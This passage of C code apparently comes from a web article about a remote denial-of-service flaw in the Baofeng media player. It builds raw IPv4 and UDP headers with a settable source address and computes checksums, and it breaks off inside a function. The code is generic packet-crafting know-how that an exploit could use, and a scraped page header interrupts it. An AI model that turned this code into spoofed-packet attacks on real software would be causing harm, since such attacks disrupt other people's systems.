unsigned short ip_checksum; // IP checksum
unsigned int ip_srcaddr; // Source address
unsigned int ip_destaddr; // Source address
} IPV4_HDR, *PIPV4_HDR, FAR * LPIPV4_HDR;
//
// Define the UDP header
//
typedef struct udp_hdr
{
unsigned short src_portno; // Source port no.
unsigned short dst_portno; // Dest. port no.
unsigned short udp_length; // Udp packet length
unsigned short udp_checksum; // Udp checksum (optional)
} UDP_HDR, *PUDP_HDR;
// Restore the byte boundary back to the previous value
//
// Function: checksum
//
// Description:
// This function calculates the 16-bit one's complement sum
// for the supplied buffer.
//
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while (size > 1)
{
cksum += *buffer++;
size -= sizeof(USHORT);
}
if (size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
//
// Function: InitIpv4Header
//
// Description:
// Initialize the IPv4 header with the version, header length,
// total length, ttl, protocol value, and source and destination
// addresses.
//
第3页：暴风影音3 爆远程拒绝服务漏洞3
int InitIpv4Header(
char *buf,
char *src,
char *dest,
int payloadlen
)
{
IPV4_HDR *v4hdr=NULL;
v4hdr = (IPV4_HDR *)buf;
v4hdr->ip_verlen = (4 << 4) | (sizeof(IPV4_HDR) / sizeof(unsigned long));
v4hdr->ip_tos = 0;
v4hdr->ip_totallength = htons(sizeof(IPV4_HDR) + payloadlen);
v4hdr->ip_id = 0;
v4hdr->ip_offset = 0;
v4hdr->ip_ttl = 128;
v4hdr->ip_protocol = 0x11;
v4hdr->ip_checksum = 0;
v4hdr->ip_srcaddr = inet_addr(src);
v4hdr->ip_destaddr = inet_addr(dest);
v4hdr->ip_checksum = checksum((unsigned short *)v4hdr, sizeof(IPV4_HDR));
return sizeof(IPV4_HDR);
}
//
// Function: ComputeUdpPseudoHeaderChecksumV4
//
// Description:
// Compute the UDP pseudo header checksum. The UDP checksum is based
// on the following fields:
// o source IP address
// o destination IP address
// o 8-bit zero field
// o 8-bit protocol field
// o 16-bit UDP length
// o 16-bit source port
// o 16-bit destination port
// o 16-bit UDP packet length
// o 16-bit UDP checksum (zero)
// o UDP payload (padded to the next 16-bit boundary)
// This routine copies these fields to a temporary buffer and computes
// the checksum from that.
//
void ComputeUdpPseudoHeaderChecksumV4(
void *iphdr,
UDP_HDR *udphdr,
char *payload,
int payloadlen
)
{
IPV4_HDR *v4hdr=NULL;
unsigned long zero=0;
char buf[0x10000],
*ptr=NULL;
int chksumlen=0,
i;
ptr = buf;
v4hdr = (IPV4_HDR *)iphdr;
// Include the source and destination IP addresses
memcpy(ptr, &v4hdr->ip_srcaddr, sizeof(v4hdr->ip_srcaddr));
ptr += sizeof(v4hdr->ip_srcaddr);
chksumlen += sizeof(v4hdr->ip_srcaddr);
memcpy(ptr, &v4hdr->ip_destaddr, sizeof(v4hdr->ip_destaddr));
ptr += sizeof(v4hdr->ip_destaddr);
chksumlen += sizeof(v4hdr->ip_destaddr);
// Include the 8 bit zero field
memcpy(ptr, &zero, 1);
ptr++;
chksumlen += 1;
// Protocol
memcpy(ptr, &v4hdr->ip_protocol, sizeof(v4hdr->ip_protocol));
ptr += sizeof(v4hdr->ip_protocol);
chksumlen += sizeof(v4hdr->ip_protocol);
// UDP length
memcpy(ptr, &udphdr->udp_length, sizeof(udphdr->udp_length));
ptr += sizeof(udphdr->udp_length);
chksumlen += sizeof(udphdr->udp_length);
// UDP source port
memcpy(ptr, &udphdr->src_portno, sizeof(udphdr->src_portno));
ptr += sizeof(udphdr->src_portno);
